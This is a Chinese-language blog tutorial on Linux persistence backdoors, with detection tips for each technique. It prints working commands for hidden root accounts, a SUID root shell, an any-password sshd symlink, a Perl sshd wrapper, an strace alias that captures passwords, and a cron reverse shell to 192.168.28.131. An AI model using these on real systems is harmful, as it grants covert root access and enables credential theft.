[网络安全]Linux权限维持-后门篇
拿到权限只是开始,藏住后门才是关键。
本文盘点Linux下常见的后门手法,助你知己知彼,守住阵地。
一.一句话添加用户
攻击者只需一行命令,就能悄无声息地创建普通用户 或root用户。
bash
# 添加普通用户(密码123456)
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# 添加root用户(uid=0)
useradd -p `openssl passwd -1 123456` guest -o -u 0 -g root -G root
#删除新增的guest用户,删除后可远程登录的账号排查中就不会有guest用户
# 先终止该用户的所有进程(可选)
pkill -u guest
# 删除用户及其家目录/邮件池
userdel -r guest
排查技巧
- 查看UID为0的特权用户:
awk -F: '$3==0{print $1}' /etc/passwd - 检查可远程登录的帐号:
awk '/\$1|\$6/{print $1}' /etc/shadow - 审计sudo权限:
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
二. SUID Shell
给bash或sh设置SUID位,普通用户执行时就能以文件所有者(通常是root) 的权限运行。
bash
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/tmp/shell -p # 获取root shell
排查技巧
- 查找所有SUID文件:
find / -perm /4000 2>/dev/null - 取消SUID:
chmod u-s /tmp/shell
shell
-rwsr-xr-x 1 root root 1446024 4月 16 10:22 shell*
#取消SUID后
-rwxr-xr-x 1 root root 1446024 4月 16 10:22 shell*
三. SSH公私钥免密登录
攻击者将自己的公钥写入服务器的 ~/.ssh/authorized_keys,即可免密登录。
排查技巧
- 检查
/root/.ssh/authorized_keys是否有多余的公钥 ,直接cat打开查看 - 定期审计各用户的
.ssh目录
shell
root@wh-VMware-Virtual-Platform:/tmp# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHA5k7mcOs65HKbjf/mevIsbYJPU9gRne/INmxEwlN+oHyCF6Rg8LM0Fv99Ryj1xSAk39ow6zmPMttKmsjpmB9WG3wpu/6Cv1KLCLIaZ2gc84qCA8Quh4LuDZHG93l2P3OjV0Mied6kXeIlmCFxrzI33lu49Zzyqxc08GSppvWgFot7i6aZqg0kJZJdjZ+syAGFmIBSltrvBz2mtwOMfe
四. 软链接后门(任意密码登录)
利用PAM认证的 pam_rootok.so 模块,通过软链接启动sshd,实现任意密码登录。
bash
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8888
# 连接:ssh root@IP -p 8888,任意密码都能登录
shell
root@wh-VMware-Virtual-Platform:/tmp# ln -sf /usr/sbin/sshd /tmp/su
root@wh-VMware-Virtual-Platform:/tmp# /tmp/su -oPort=8888
root@wh-VMware-Virtual-Platform:/tmp# netstat -anp | grep :8888
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 2532926/su: /tmp/su
tcp6 0 0 :::8888 :::* LISTEN 2532926/su: /tmp/su
直接免密登录:
shell
C:\Users\xxx>ssh root@192.168.xx.xx -p 8888
Last login: Wed Apr 15 16:57:36 2026 from 192.xxx.xxx.1
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#
排查技巧
- 检查异常监听的端口:
netstat -anp | grep :8888 - 结束对应进程即可清除,kill -9 pid 以及删除软连接 rm -f /tmp/su
五. SSH Wrapper 后门
通过修改 /usr/sbin/sshd 脚本,判断客户端源端口(如19526),匹配成功则直接返回shell。
服务端 (将脚本写入 /usr/sbin/sshd):
perl
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..LF/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV;
客户端(使用源端口19526连接):
bash
socat STDIO TCP4:target:22,sourceport=19526
排查技巧
- 检查
/usr/sbin/sshd是否为正常二进制 - 重装openssh-server即可恢复
六. strace 后门(记录SSH密码)
通过alias劫持ssh命令,利用 strace 记录所有读写和连接操作,从而捕获明文密码。
bash
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
source ~/.bashrc
排查技巧
- 执行
alias查看是否被劫持 - 检查
~/.bashrc或/etc/bashrc中是否有可疑alias
七. Crontab 反弹Shell
通过定时任务定期执行反弹shell脚本,实现持久化控制。
bash
# 创建反弹脚本 /etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
# 添加定时任务(每分钟执行)
echo '*/1 * * * * root /etc/evil.sh' >> /etc/crontab
service crond restart
排查技巧
- 检查当前用户的crontab:
crontab -l - 检查系统crontab:
cat /etc/crontab及/etc/cron.d/*
八. OpenSSH 后门
重新编译OpenSSH,植入后门密码(如 123456789),并记录所有登录成功的用户名密码到指定文件(如 /tmp/1.txt)。
排查技巧
- 对比
sshd二进制文件的md5 - 使用
strace跟踪sshd进程,查看它打开了哪些文件 - 检查
/tmp/1.txt等可疑日志文件
九. PAM 后门
修改PAM模块源码(pam_unix_auth.c),添加万能密码,同时记录用户真实密码到文件。
排查技巧
- 检查PAM模块文件的修改时间:
stat /lib64/security/pam_unix.so - 对比原始版本的文件hash
十. Rootkit 后门(如Mafix)
通过替换系统命令(ps、ls、netstat等)或劫持内核模块,隐藏进程、文件、网络连接。
例如Mafix伪造SSH漏洞,可自定义端口和密码登录。
排查技巧
- 使用
rpm -Va校验被替换的系统命令 - 使用
unhide扫描隐藏进程 - 使用
chkrootkit或rkhunter工具扫描
结语
未知攻,焉知防。
以上后门技术涵盖了用户、文件、进程、网络、认证等多个层面。作为防守方,应做到:
- 定期审计:用户、SUID文件、计划任务、SSH密钥、服务端口
- 基线校验:对比关键二进制文件(sshd、ps、ls)的hash
- 日志监控:开启auth.log、secure日志,并发送到远程
- 工具辅助 :使用
rkhunter、chkrootkit、auditd、Sysdig等
只有了解攻击者的"藏身之术",才能有的放矢地加固系统。
安全之路,你我同行。
本文仅用于技术研究与防御学习,请勿用于非法用途。